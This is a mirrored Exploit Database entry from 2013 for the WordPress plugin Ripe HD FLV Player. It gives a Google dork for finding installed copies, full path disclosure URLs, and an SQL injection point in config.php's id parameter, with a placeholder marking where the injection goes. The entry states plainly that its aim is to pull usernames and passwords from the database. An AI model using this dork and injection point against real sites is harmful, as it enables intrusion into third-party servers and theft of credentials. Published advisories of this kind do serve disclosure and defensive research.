WordPress Plugin Ripe HD FLV Player – SQL Injection

• Exploit Database
• 126 阅读

• 作者： Zikou-16
  日期： 2013-01-19
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/24229/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31

  ------------------------------------------------------------------- Wordpress plugins - ripe-hd-player FD/SQL Injection Vulnerability ------------------------------------------------------------------- # Vendor: http://www.hitasoft.com/products.php ##### # Author => Zikou-16 # E-mail => zikou16x@gmail.com # Facebook => http://fb.me/Zikou.se # Google Dork => inurl:"/wp-content/plugins/ripe-hd-player/" # Tested on : Windows 7 , Backtrack 5r3 #### #=> Exploit Info : ------------------ # The attacker can access to the database & get username & password ....... &disclosure the Full Path ------------------   #=> Exploit : ------------------ 1#=> Full Path Disclosure :   http://[target]/[path]/wp-content/plugins/ripe-hd-player/index.php http://[target]/[path]/wp-content/plugins/ripe-hd-player/installer.php   ------- 2#=> SQL Injection   http://[target]/[path]/wp-content/plugins/ripe-hd-player/config.php?id=2&apos;[inj3ct h3re]   ------------------------------ <= Th3 End ^_^&apos;